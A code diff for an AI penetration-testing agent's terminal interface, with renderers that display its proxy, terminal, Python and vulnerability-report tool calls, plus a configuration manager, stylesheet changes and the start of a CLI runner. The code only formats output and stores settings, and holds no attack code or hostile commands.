from .registry import register_tool_renderer
@register_tool_renderer
class ListRequestsRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "list_requests"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
result = tool_data.get("result")
httpql_filter = args.get("httpql_filter")
header = "📋 [bold #06b6d4]Listing requests[/]"
if result and isinstance(result, dict) and "requests" in result:
requests = result["requests"]
if isinstance(requests, list) and requests:
request_lines = []
for req in requests[:3]:
if isinstance(req, dict):
method = req.get("method", "?")
path = req.get("path", "?")
response = req.get("response") or {}
status = response.get("statusCode", "?")
line = f"{method} {path}{status}"
request_lines.append(line)
if len(requests) > 3:
request_lines.append(f"... +{len(requests) - 3} more")
escaped_lines = [cls.escape_markup(line) for line in request_lines]
content_text = f"{header}\n [dim]{chr(10).join(escaped_lines)}[/]"
else:
content_text = f"{header}\n [dim]No requests found[/]"
elif httpql_filter:
filter_display = (
httpql_filter[:300] + "..." if len(httpql_filter) > 300 else httpql_filter
)
content_text = f"{header}\n [dim]{cls.escape_markup(filter_display)}[/]"
else:
content_text = f"{header}\n [dim]All requests[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@register_tool_renderer
class ViewRequestRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "view_request"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
result = tool_data.get("result")
part = args.get("part", "request")
header = f"👀 [bold #06b6d4]Viewing {part}[/]"
if result and isinstance(result, dict):
if "content" in result:
content = result["content"]
content_preview = content[:500] + "..." if len(content) > 500 else content
content_text = f"{header}\n [dim]{cls.escape_markup(content_preview)}[/]"
elif "matches" in result:
matches = result["matches"]
if isinstance(matches, list) and matches:
match_lines = [
match["match"]
for match in matches[:3]
if isinstance(match, dict) and "match" in match
]
if len(matches) > 3:
match_lines.append(f"... +{len(matches) - 3} more matches")
escaped_lines = [cls.escape_markup(line) for line in match_lines]
content_text = f"{header}\n [dim]{chr(10).join(escaped_lines)}[/]"
else:
content_text = f"{header}\n [dim]No matches found[/]"
else:
content_text = f"{header}\n [dim]Viewing content...[/]"
else:
content_text = f"{header}\n [dim]Loading...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@register_tool_renderer
class SendRequestRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "send_request"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
result = tool_data.get("result")
method = args.get("method", "GET")
url = args.get("url", "")
header = f"📤 [bold #06b6d4]Sending {method}[/]"
if result and isinstance(result, dict):
status_code = result.get("status_code")
response_body = result.get("body", "")
if status_code:
response_preview = f"Status: {status_code}"
if response_body:
body_preview = (
response_body[:300] + "..." if len(response_body) > 300 else response_body
)
response_preview += f"\n{body_preview}"
content_text = f"{header}\n [dim]{cls.escape_markup(response_preview)}[/]"
else:
content_text = f"{header}\n [dim]Response received[/]"
elif url:
url_display = url[:400] + "..." if len(url) > 400 else url
content_text = f"{header}\n [dim]{cls.escape_markup(url_display)}[/]"
else:
content_text = f"{header}\n [dim]Sending...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@register_tool_renderer
class RepeatRequestRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "repeat_request"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
result = tool_data.get("result")
modifications = args.get("modifications", {})
header = "🔄 [bold #06b6d4]Repeating request[/]"
if result and isinstance(result, dict):
status_code = result.get("status_code")
response_body = result.get("body", "")
if status_code:
response_preview = f"Status: {status_code}"
if response_body:
body_preview = (
response_body[:300] + "..." if len(response_body) > 300 else response_body
)
response_preview += f"\n{body_preview}"
content_text = f"{header}\n [dim]{cls.escape_markup(response_preview)}[/]"
else:
content_text = f"{header}\n [dim]Response received[/]"
elif modifications:
mod_text = str(modifications)
mod_display = mod_text[:400] + "..." if len(mod_text) > 400 else mod_text
content_text = f"{header}\n [dim]{cls.escape_markup(mod_display)}[/]"
else:
content_text = f"{header}\n [dim]No modifications[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@register_tool_renderer
class ScopeRulesRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "scope_rules"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: ARG003
header = "⚙️ [bold #06b6d4]Updating proxy scope[/]"
content_text = f"{header}\n [dim]Configuring...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@register_tool_renderer
class ListSitemapRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "list_sitemap"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
result = tool_data.get("result")
header = "🗺️ [bold #06b6d4]Listing sitemap[/]"
if result and isinstance(result, dict) and "entries" in result:
entries = result["entries"]
if isinstance(entries, list) and entries:
entry_lines = []
for entry in entries[:4]:
if isinstance(entry, dict):
label = entry.get("label", "?")
kind = entry.get("kind", "?")
line = f"{kind}: {label}"
entry_lines.append(line)
if len(entries) > 4:
entry_lines.append(f"... +{len(entries) - 4} more")
escaped_lines = [cls.escape_markup(line) for line in entry_lines]
content_text = f"{header}\n [dim]{chr(10).join(escaped_lines)}[/]"
else:
content_text = f"{header}\n [dim]No entries found[/]"
else:
content_text = f"{header}\n [dim]Loading...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@register_tool_renderer
class ViewSitemapEntryRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "view_sitemap_entry"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
result = tool_data.get("result")
header = "📍 [bold #06b6d4]Viewing sitemap entry[/]"
if result and isinstance(result, dict):
if "entry" in result:
entry = result["entry"]
if isinstance(entry, dict):
label = entry.get("label", "")
kind = entry.get("kind", "")
if label and kind:
entry_info = f"{kind}: {label}"
content_text = f"{header}\n [dim]{cls.escape_markup(entry_info)}[/]"
else:
content_text = f"{header}\n [dim]Entry details loaded[/]"
else:
content_text = f"{header}\n [dim]Entry details loaded[/]"
else:
content_text = f"{header}\n [dim]Loading entry...[/]"
else:
content_text = f"{header}\n [dim]Loading...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@@ -1,34 +0,0 @@
from typing import Any, ClassVar
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@register_tool_renderer
class PythonRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "python_action"
css_classes: ClassVar[list[str]] = ["tool-call", "python-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
action = args.get("action", "")
code = args.get("code", "")
header = "</> [bold #3b82f6]Python[/]"
if code and action in ["new_session", "execute"]:
code_display = code[:250] + "..." if len(code) > 250 else code
content_text = f"{header}\n [italic white]{cls.escape_markup(code_display)}[/]"
elif action == "close":
content_text = f"{header}\n [dim]Closing session...[/]"
elif action == "list_sessions":
content_text = f"{header}\n [dim]Listing sessions...[/]"
else:
content_text = f"{header}\n [dim]Running...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@@ -1,52 +0,0 @@
from typing import Any, ClassVar
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@register_tool_renderer
class CreateVulnerabilityReportRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "create_vulnerability_report"
css_classes: ClassVar[list[str]] = ["tool-call", "reporting-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
title = args.get("title", "")
severity = args.get("severity", "")
content = args.get("content", "")
header = "🐞 [bold #ea580c]Vulnerability Report[/]"
if title:
content_parts = [f"{header}\n [bold]{cls.escape_markup(title)}[/]"]
if severity:
severity_color = cls._get_severity_color(severity.lower())
content_parts.append(
f" [dim]Severity: [{severity_color}]{severity.upper()}[/{severity_color}][/]"
)
if content:
content_parts.append(f" [dim]{cls.escape_markup(content)}[/]")
content_text = "\n".join(content_parts)
else:
content_text = f"{header}\n [dim]Creating report...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@classmethod
def _get_severity_color(cls, severity: str) -> str:
severity_colors = {
"critical": "#dc2626",
"high": "#ea580c",
"medium": "#d97706",
"low": "#65a30d",
"info": "#0284c7",
}
return severity_colors.get(severity, "#6b7280")
@@ -1,57 +0,0 @@
from typing import Any, ClassVar
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@register_tool_renderer
class ScanStartInfoRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "scan_start_info"
css_classes: ClassVar[list[str]] = ["tool-call", "scan-info-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
target = args.get("target", {})
target_display = cls._build_target_display(target)
content = f"🚀 Starting scan on {target_display}"
css_classes = cls.get_css_classes(status)
return Static(content, classes=css_classes)
@classmethod
def _build_target_display(cls, target: dict[str, Any]) -> str:
if target_url := target.get("target_url"):
return f"[bold #22c55e]{target_url}[/bold #22c55e]"
if target_repo := target.get("target_repo"):
return f"[bold #22c55e]{target_repo}[/bold #22c55e]"
if target_path := target.get("target_path"):
return f"[bold #22c55e]{target_path}[/bold #22c55e]"
return "[dim]unknown target[/dim]"
@register_tool_renderer
class SubagentStartInfoRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "subagent_start_info"
css_classes: ClassVar[list[str]] = ["tool-call", "subagent-info-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
name = args.get("name", "Unknown Agent")
task = args.get("task", "")
content = f"🤖 Spawned subagent [bold #22c55e]{name}[/bold #22c55e]"
if task:
content += f"\n Task: [dim]{task}[/dim]"
css_classes = cls.get_css_classes(status)
return Static(content, classes=css_classes)
@@ -1,99 +0,0 @@
from typing import Any, ClassVar
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@register_tool_renderer
class TerminalRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "terminal_action"
css_classes: ClassVar[list[str]] = ["tool-call", "terminal-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
result = tool_data.get("result", {})
action = args.get("action", "unknown")
inputs = args.get("inputs", [])
terminal_id = args.get("terminal_id", "default")
content = cls._build_sleek_content(action, inputs, terminal_id, result)
css_classes = cls.get_css_classes(status)
return Static(content, classes=css_classes)
@classmethod
def _build_sleek_content(
cls,
action: str,
inputs: list[str],
terminal_id: str, # noqa: ARG003
result: dict[str, Any], # noqa: ARG003
) -> str:
terminal_icon = ">_"
if action in {"create", "new_terminal"}:
command = cls._format_command(inputs) if inputs else "bash"
return f"{terminal_icon} [#22c55e]${command}[/]"
if action == "send_input":
command = cls._format_command(inputs)
return f"{terminal_icon} [#22c55e]${command}[/]"
if action == "wait":
return f"{terminal_icon} [dim]waiting...[/]"
if action == "close":
return f"{terminal_icon} [dim]close[/]"
if action == "get_snapshot":
return f"{terminal_icon} [dim]snapshot[/]"
return f"{terminal_icon} [dim]{action}[/]"
@classmethod
def _format_command(cls, inputs: list[str]) -> str:
if not inputs:
return ""
command_parts = []
for input_item in inputs:
if input_item == "Enter":
break
if input_item.startswith("literal:"):
command_parts.append(input_item[8:])
elif input_item in [
"Space",
"Tab",
"Backspace",
"Up",
"Down",
"Left",
"Right",
"Home",
"End",
"PageUp",
"PageDown",
"Insert",
"Delete",
"Escape",
] or input_item.startswith(("^", "C-", "S-", "A-", "F")):
if input_item == "Space":
command_parts.append(" ")
elif input_item == "Tab":
command_parts.append("\t")
continue
else:
command_parts.append(input_item)
command = "".join(command_parts).strip()
if len(command) > 200:
command = command[:197] + "..."
return cls.escape_markup(command) if command else "bash"
@@ -1,43 +0,0 @@
from typing import Any, ClassVar
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@register_tool_renderer
class UserMessageRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "user_message"
css_classes: ClassVar[list[str]] = ["chat-message", "user-message"]
@classmethod
def render(cls, message_data: dict[str, Any]) -> Static:
content = message_data.get("content", "")
if not content:
return Static("", classes=cls.css_classes)
if len(content) > 300:
content = content[:297] + "..."
lines = content.split("\n")
bordered_lines = [f"[#3b82f6]▍[/#3b82f6] {line}" for line in lines]
bordered_content = "\n".join(bordered_lines)
formatted_content = f"[#3b82f6]▍[/#3b82f6] [bold]You:[/]\n{bordered_content}"
css_classes = " ".join(cls.css_classes)
return Static(formatted_content, classes=css_classes)
@classmethod
def render_simple(cls, content: str) -> str:
if not content:
return ""
if len(content) > 300:
content = content[:297] + "..."
lines = content.split("\n")
bordered_lines = [f"[#3b82f6]▍[/#3b82f6] {line}" for line in lines]
bordered_content = "\n".join(bordered_lines)
return f"[#3b82f6]▍[/#3b82f6] [bold]You:[/]\n{bordered_content}"
+12
View File
@@ -0,0 +1,12 @@
from strix.config.config import (
Config,
apply_saved_config,
save_current_config,
)
__all__ = [
"Config",
"apply_saved_config",
"save_current_config",
]
+131
View File
@@ -0,0 +1,131 @@
import contextlib
import json
import os
from pathlib import Path
from typing import Any
class Config:
"""Configuration Manager for Strix."""
# LLM Configuration
strix_llm = None
llm_api_key = None
llm_api_base = None
openai_api_base = None
litellm_base_url = None
ollama_api_base = None
strix_reasoning_effort = "high"
llm_timeout = "300"
llm_rate_limit_delay = "4.0"
llm_rate_limit_concurrent = "1"
# Tool & Feature Configuration
perplexity_api_key = None
strix_disable_browser = "false"
# Runtime Configuration
strix_image = "ghcr.io/usestrix/strix-sandbox:0.1.10"
strix_runtime_backend = "docker"
strix_sandbox_execution_timeout = "500"
strix_sandbox_connect_timeout = "10"
# Telemetry
strix_telemetry = "1"
@classmethod
def _tracked_names(cls) -> list[str]:
return [
k
for k, v in vars(cls).items()
if not k.startswith("_") and k[0].islower() and (v is None or isinstance(v, str))
]
@classmethod
def tracked_vars(cls) -> list[str]:
return [name.upper() for name in cls._tracked_names()]
@classmethod
def get(cls, name: str) -> str | None:
env_name = name.upper()
default = getattr(cls, name, None)
return os.getenv(env_name, default)
@classmethod
def config_dir(cls) -> Path:
return Path.home() / ".strix"
@classmethod
def config_file(cls) -> Path:
return cls.config_dir() / "cli-config.json"
@classmethod
def load(cls) -> dict[str, Any]:
path = cls.config_file()
if not path.exists():
return {}
try:
with path.open("r", encoding="utf-8") as f:
data: dict[str, Any] = json.load(f)
return data
except (json.JSONDecodeError, OSError):
return {}
@classmethod
def save(cls, config: dict[str, Any]) -> bool:
try:
cls.config_dir().mkdir(parents=True, exist_ok=True)
config_path = cls.config_file()
with config_path.open("w", encoding="utf-8") as f:
json.dump(config, f, indent=2)
except OSError:
return False
with contextlib.suppress(OSError):
config_path.chmod(0o600) # may fail on Windows
return True
@classmethod
def apply_saved(cls) -> dict[str, str]:
saved = cls.load()
env_vars = saved.get("env", {})
applied = {}
for var_name, var_value in env_vars.items():
if var_name in cls.tracked_vars() and not os.getenv(var_name):
os.environ[var_name] = var_value
applied[var_name] = var_value
return applied
@classmethod
def capture_current(cls) -> dict[str, Any]:
env_vars = {}
for var_name in cls.tracked_vars():
value = os.getenv(var_name)
if value:
env_vars[var_name] = value
return {"env": env_vars}
@classmethod
def save_current(cls) -> bool:
existing = cls.load().get("env", {})
merged = dict(existing)
for var_name in cls.tracked_vars():
value = os.getenv(var_name)
if value is None:
pass
elif value == "":
merged.pop(var_name, None)
else:
merged[var_name] = value
return cls.save({"env": merged})
def apply_saved_config() -> dict[str, str]:
return Config.apply_saved()
def save_current_config() -> bool:
return Config.save_current()
@@ -1,13 +1,14 @@
Screen { Screen {
background: #1a1a1a; background: #000000;
color: #d4d4d4; color: #d4d4d4;
} }
#splash_screen { #splash_screen {
height: 100%; height: 100%;
width: 100%; width: 100%;
background: #1a1a1a; background: #000000;
color: #22c55e; color: #22c55e;
align: center middle;
content-align: center middle; content-align: center middle;
text-align: center; text-align: center;
} }
@@ -17,6 +18,7 @@ Screen {
height: auto; height: auto;
background: transparent; background: transparent;
text-align: center; text-align: center;
content-align: center middle;
padding: 2; padding: 2;
} }
@@ -24,7 +26,7 @@ Screen {
height: 100%; height: 100%;
padding: 0; padding: 0;
margin: 0; margin: 0;
background: #1a1a1a; background: #000000;
} }
#content_container { #content_container {
@@ -33,31 +35,163 @@ Screen {
background: transparent; background: transparent;
} }
#agents_tree { #sidebar {
width: 20%; width: 25%;
background: transparent; background: transparent;
border: round #262626; margin-left: 1;
}
#sidebar.-hidden {
display: none;
}
#agents_tree {
height: 1fr;
background: transparent;
border: round #333333;
border-title-color: #a8a29e; border-title-color: #a8a29e;
border-title-style: bold; border-title-style: bold;
margin-left: 1;
padding: 1; padding: 1;
margin-bottom: 0;
}
#stats_display {
height: auto;
max-height: 15;
background: transparent;
padding: 0;
margin: 0;
}
#vulnerabilities_panel {
height: auto;
max-height: 12;
background: transparent;
padding: 0;
margin: 0;
border: round #333333;
overflow-y: auto;
scrollbar-background: #000000;
scrollbar-color: #333333;
scrollbar-corner-color: #000000;
scrollbar-size-vertical: 1;
}
#vulnerabilities_panel.hidden {
display: none;
}
.vuln-item {
height: auto;
width: 100%;
padding: 0 1;
background: transparent;
color: #d4d4d4;
}
.vuln-item:hover {
background: #1a1a1a;
color: #fafaf9;
}
VulnerabilityDetailScreen {
align: center middle;
background: #000000 80%;
}
#vuln_detail_dialog {
grid-size: 1;
grid-gutter: 1;
grid-rows: 1fr auto;
padding: 2 3;
width: 85%;
max-width: 110;
height: 85%;
max-height: 45;
border: solid #262626;
background: #0a0a0a;
}
#vuln_detail_scroll {
height: 1fr;
background: transparent;
scrollbar-background: #0a0a0a;
scrollbar-color: #404040;
scrollbar-corner-color: #0a0a0a;
scrollbar-size: 1 1;
padding-right: 1;
}
#vuln_detail_content {
width: 100%;
background: transparent;
padding: 0;
}
#vuln_detail_buttons {
width: 100%;
height: auto;
align: right middle;
padding-top: 1;
margin: 0;
border-top: solid #1a1a1a;
}
#copy_vuln_detail {
width: auto;
min-width: 12;
height: auto;
background: transparent;
color: #525252;
border: none;
text-style: none;
margin: 0 1;
padding: 0 2;
}
#close_vuln_detail {
width: auto;
min-width: 10;
height: auto;
background: transparent;
color: #a3a3a3;
border: none;
text-style: none;
margin: 0;
padding: 0 2;
}
#copy_vuln_detail:hover, #copy_vuln_detail:focus {
background: transparent;
color: #22c55e;
border: none;
}
#close_vuln_detail:hover, #close_vuln_detail:focus {
background: transparent;
color: #ffffff;
border: none;
} }
#chat_area_container { #chat_area_container {
width: 80%; width: 75%;
background: transparent; background: transparent;
} }
#chat_area_container.-full-width {
width: 100%;
}
#chat_history { #chat_history {
height: 1fr; height: 1fr;
background: transparent; background: transparent;
border: round #1a1a1a; border: round #0a0a0a;
padding: 0; padding: 0;
margin-bottom: 0; margin-bottom: 0;
margin-right: 0; margin-right: 0;
scrollbar-background: #0f0f0f; scrollbar-background: #000000;
scrollbar-color: #262626; scrollbar-color: #1a1a1a;
scrollbar-corner-color: #0f0f0f; scrollbar-corner-color: #000000;
scrollbar-size: 1 1; scrollbar-size: 1 1;
} }
@@ -79,7 +213,7 @@ Screen {
color: #a3a3a3; color: #a3a3a3;
text-align: left; text-align: left;
content-align: left middle; content-align: left middle;
text-style: italic; text-style: none;
margin: 0; margin: 0;
padding: 0; padding: 0;
} }
@@ -99,11 +233,11 @@ Screen {
#chat_input_container { #chat_input_container {
height: 3; height: 3;
background: transparent; background: transparent;
border: round #525252; border: round #333333;
margin-right: 0; margin-right: 0;
padding: 0; padding: 0;
layout: horizontal; layout: horizontal;
align-vertical: middle; align-vertical: top;
} }
#chat_input_container:focus-within { #chat_input_container:focus-within {
@@ -120,7 +254,7 @@ Screen {
height: 100%; height: 100%;
padding: 0 0 0 1; padding: 0 0 0 1;
color: #737373; color: #737373;
content-align-vertical: middle; content-align-vertical: top;
} }
#chat_history:focus { #chat_history:focus {
@@ -130,7 +264,7 @@ Screen {
#chat_input { #chat_input {
width: 1fr; width: 1fr;
height: 100%; height: 100%;
background: #121212; background: transparent;
border: none; border: none;
color: #d4d4d4; color: #d4d4d4;
padding: 0; padding: 0;
@@ -141,6 +275,14 @@ Screen {
border: none; border: none;
} }
#chat_input .text-area--cursor-line {
background: transparent;
}
#chat_input:focus .text-area--cursor-line {
background: transparent;
}
#chat_input > .text-area--placeholder { #chat_input > .text-area--placeholder {
color: #525252; color: #525252;
text-style: italic; text-style: italic;
@@ -184,39 +326,31 @@ Screen {
} }
.tool-call { .tool-call {
margin: 0 !important; margin-top: 1;
margin-top: 0 !important; margin-bottom: 0;
margin-bottom: 0 !important;
padding: 0 1; padding: 0 1;
background: #0a0a0a; background: transparent;
border: round #1a1a1a; border: none;
border-left: thick #f59e0b;
width: 100%; width: 100%;
} }
.tool-call.status-completed { .tool-call.status-completed {
border-left: thick #22c55e; background: transparent;
background: #0d1f12; margin-top: 1;
margin: 0 !important; margin-bottom: 0;
margin-top: 0 !important;
margin-bottom: 0 !important;
} }
.tool-call.status-running { .tool-call.status-running {
border-left: thick #f59e0b; background: transparent;
background: #1f1611; margin-top: 1;
margin: 0 !important; margin-bottom: 0;
margin-top: 0 !important;
margin-bottom: 0 !important;
} }
.tool-call.status-failed, .tool-call.status-failed,
.tool-call.status-error { .tool-call.status-error {
border-left: thick #ef4444; background: transparent;
background: #1f0d0d; margin-top: 1;
margin: 0 !important; margin-bottom: 0;
margin-top: 0 !important;
margin-bottom: 0 !important;
} }
.browser-tool, .browser-tool,
@@ -228,209 +362,54 @@ Screen {
.notes-tool, .notes-tool,
.thinking-tool, .thinking-tool,
.web-search-tool, .web-search-tool,
.finish-tool,
.reporting-tool,
.scan-info-tool, .scan-info-tool,
.subagent-info-tool { .subagent-info-tool {
margin: 0 !important; margin-top: 1;
margin-top: 0 !important; margin-bottom: 0;
margin-bottom: 0 !important;
}
.browser-tool {
border-left: thick #06b6d4;
}
.browser-tool.status-completed {
border-left: thick #06b6d4;
background: transparent;
margin: 0 !important;
margin-top: 0 !important;
margin-bottom: 0 !important;
}
.browser-tool.status-running {
border-left: thick #0891b2;
background: transparent;
margin: 0 !important;
margin-top: 0 !important;
margin-bottom: 0 !important;
}
.terminal-tool {
border-left: thick #22c55e;
}
.terminal-tool.status-completed {
border-left: thick #22c55e;
background: transparent;
}
.terminal-tool.status-running {
border-left: thick #16a34a;
background: transparent;
}
.python-tool {
border-left: thick #3b82f6;
}
.python-tool.status-completed {
border-left: thick #3b82f6;
background: transparent;
}
.python-tool.status-running {
border-left: thick #2563eb;
background: transparent;
}
.agents-graph-tool {
border-left: thick #fbbf24;
}
.agents-graph-tool.status-completed {
border-left: thick #fbbf24;
background: transparent;
}
.agents-graph-tool.status-running {
border-left: thick #f59e0b;
background: transparent;
}
.file-edit-tool {
border-left: thick #10b981;
}
.file-edit-tool.status-completed {
border-left: thick #10b981;
background: transparent;
}
.file-edit-tool.status-running {
border-left: thick #059669;
background: transparent;
}
.proxy-tool {
border-left: thick #06b6d4;
}
.proxy-tool.status-completed {
border-left: thick #06b6d4;
background: transparent;
}
.proxy-tool.status-running {
border-left: thick #0891b2;
background: transparent;
}
.notes-tool {
border-left: thick #fbbf24;
}
.notes-tool.status-completed {
border-left: thick #fbbf24;
background: transparent;
}
.notes-tool.status-running {
border-left: thick #f59e0b;
background: transparent;
}
.thinking-tool {
border-left: thick #a855f7;
}
.thinking-tool.status-completed {
border-left: thick #a855f7;
background: transparent;
}
.thinking-tool.status-running {
border-left: thick #9333ea;
background: transparent;
}
.web-search-tool {
border-left: thick #22c55e;
}
.web-search-tool.status-completed {
border-left: thick #22c55e;
background: transparent;
}
.web-search-tool.status-running {
border-left: thick #16a34a;
background: transparent;
}
.finish-tool {
border-left: thick #dc2626;
}
.finish-tool.status-completed {
border-left: thick #dc2626;
background: transparent;
}
.finish-tool.status-running {
border-left: thick #b91c1c;
background: transparent; background: transparent;
} }
.finish-tool,
.reporting-tool { .reporting-tool {
border-left: thick #ea580c; margin-top: 1;
} margin-bottom: 0;
.reporting-tool.status-completed {
border-left: thick #ea580c;
background: transparent;
}
.reporting-tool.status-running {
border-left: thick #c2410c;
background: transparent;
}
.scan-info-tool {
border-left: thick #22c55e;
background: transparent;
margin: 0 !important;
margin-top: 0 !important;
margin-bottom: 0 !important;
}
.scan-info-tool.status-completed {
border-left: thick #22c55e;
background: transparent;
}
.scan-info-tool.status-running {
border-left: thick #16a34a;
background: transparent;
}
.subagent-info-tool {
border-left: thick #22c55e;
background: transparent;
margin: 0 !important;
margin-top: 0 !important;
margin-bottom: 0 !important;
}
.subagent-info-tool.status-completed {
border-left: thick #22c55e;
background: transparent; background: transparent;
} }
.browser-tool.status-completed,
.browser-tool.status-running,
.terminal-tool.status-completed,
.terminal-tool.status-running,
.python-tool.status-completed,
.python-tool.status-running,
.agents-graph-tool.status-completed,
.agents-graph-tool.status-running,
.file-edit-tool.status-completed,
.file-edit-tool.status-running,
.proxy-tool.status-completed,
.proxy-tool.status-running,
.notes-tool.status-completed,
.notes-tool.status-running,
.thinking-tool.status-completed,
.thinking-tool.status-running,
.web-search-tool.status-completed,
.web-search-tool.status-running,
.scan-info-tool.status-completed,
.scan-info-tool.status-running,
.subagent-info-tool.status-completed,
.subagent-info-tool.status-running { .subagent-info-tool.status-running {
border-left: thick #16a34a;
background: transparent; background: transparent;
margin-top: 1;
margin-bottom: 0;
}
.finish-tool.status-completed,
.finish-tool.status-running,
.reporting-tool.status-completed,
.reporting-tool.status-running {
background: transparent;
margin-top: 1;
margin-bottom: 0;
} }
Tree { Tree {
@@ -448,7 +427,7 @@ Tree > .tree--label {
background: transparent; background: transparent;
padding: 0 1; padding: 0 1;
margin-bottom: 1; margin-bottom: 1;
border-bottom: solid #262626; border-bottom: solid #1a1a1a;
text-align: center; text-align: center;
} }
@@ -488,7 +467,7 @@ Tree > .tree--label {
} }
Tree:focus { Tree:focus {
border: round #262626; border: round #1a1a1a;
} }
Tree:focus > .tree--label { Tree:focus > .tree--label {
@@ -532,7 +511,7 @@ StopAgentScreen {
width: 30; width: 30;
height: auto; height: auto;
border: round #a3a3a3; border: round #a3a3a3;
background: #1a1a1a 98%; background: #000000 98%;
} }
#stop_agent_title { #stop_agent_title {
@@ -594,8 +573,8 @@ QuitScreen {
padding: 1; padding: 1;
width: 24; width: 24;
height: auto; height: auto;
border: round #525252; border: round #333333;
background: #1a1a1a 98%; background: #000000 98%;
} }
#quit_title { #quit_title {
@@ -658,7 +637,7 @@ HelpScreen {
width: 40; width: 40;
height: auto; height: auto;
border: round #22c55e; border: round #22c55e;
background: #1a1a1a 98%; background: #000000 98%;
} }
#help_title { #help_title {
+205
View File
@@ -0,0 +1,205 @@
import atexit
import signal
import sys
import threading
import time
from typing import Any
from rich.console import Console
from rich.live import Live
from rich.panel import Panel
from rich.text import Text
from strix.agents.StrixAgent import StrixAgent
from strix.llm.config import LLMConfig
from strix.telemetry.tracer import Tracer, set_global_tracer
from .utils import (
build_live_stats_text,
format_vulnerability_report,
)
async def run_cli(args: Any) -> None: # noqa: PLR0915
console = Console()
start_text = Text()
start_text.append("🦉 ", style="bold white")
start_text.append("STRIX CYBERSECURITY AGENT", style="bold green")
target_text = Text()
if len(args.targets_info) == 1:
target_text.append("🎯 Target: ", style="bold cyan")
target_text.append(args.targets_info[0]["original"], style="bold white")
else:
target_text.append("🎯 Targets: ", style="bold cyan")
target_text.append(f"{len(args.targets_info)} targets\n", style="bold white")
for i, target_info in enumerate(args.targets_info):
target_text.append("", style="dim white")
target_text.append(target_info["original"], style="white")
if i < len(args.targets_info) - 1:
target_text.append("\n")
results_text = Text()
results_text.append("📊 Results will be saved to: ", style="bold cyan")
results_text.append(f"strix_runs/{args.run_name}", style="bold white")
note_text = Text()
note_text.append("\n\n", style="dim")
note_text.append("⏱️ ", style="dim")
note_text.append("This may take a while depending on target complexity. ", style="dim")
note_text.append("Vulnerabilities will be displayed in real-time.", style="dim")
startup_panel = Panel(
Text.assemble(
start_text,
"\n\n",
target_text,
"\n",
results_text,
note_text,
),
title="[bold green]🛡️ STRIX PENETRATION TEST INITIATED",
title_align="center",
border_style="green",
padding=(1, 2),
)
console.print("\n")
console.print(startup_panel)
console.print()
scan_mode = getattr(args, "scan_mode", "deep")
scan_config = {
"scan_id": args.run_name,
"targets": args.targets_info,
"user_instructions": args.instruction or "",
"run_name": args.run_name,
}
llm_config = LLMConfig(scan_mode=scan_mode)
agent_config = {
"llm_config": llm_config,
"max_iterations": 300,
"non_interactive": True,
}
if getattr(args, "local_sources", None):
agent_config["local_sources"] = args.local_sources
tracer = Tracer(args.run_name)
tracer.set_scan_config(scan_config)
def display_vulnerability(report: dict[str, Any]) -> None:
report_id = report.get("id", "unknown")
vuln_text = format_vulnerability_report(report)
vuln_panel = Panel(
vuln_text,
title=f"[bold red]{report_id.upper()}",
title_align="left",
border_style="red",
padding=(1, 2),
)
console.print(vuln_panel)
console.print()
tracer.vulnerability_found_callback = display_vulnerability
def cleanup_on_exit() -> None:
tracer.cleanup()
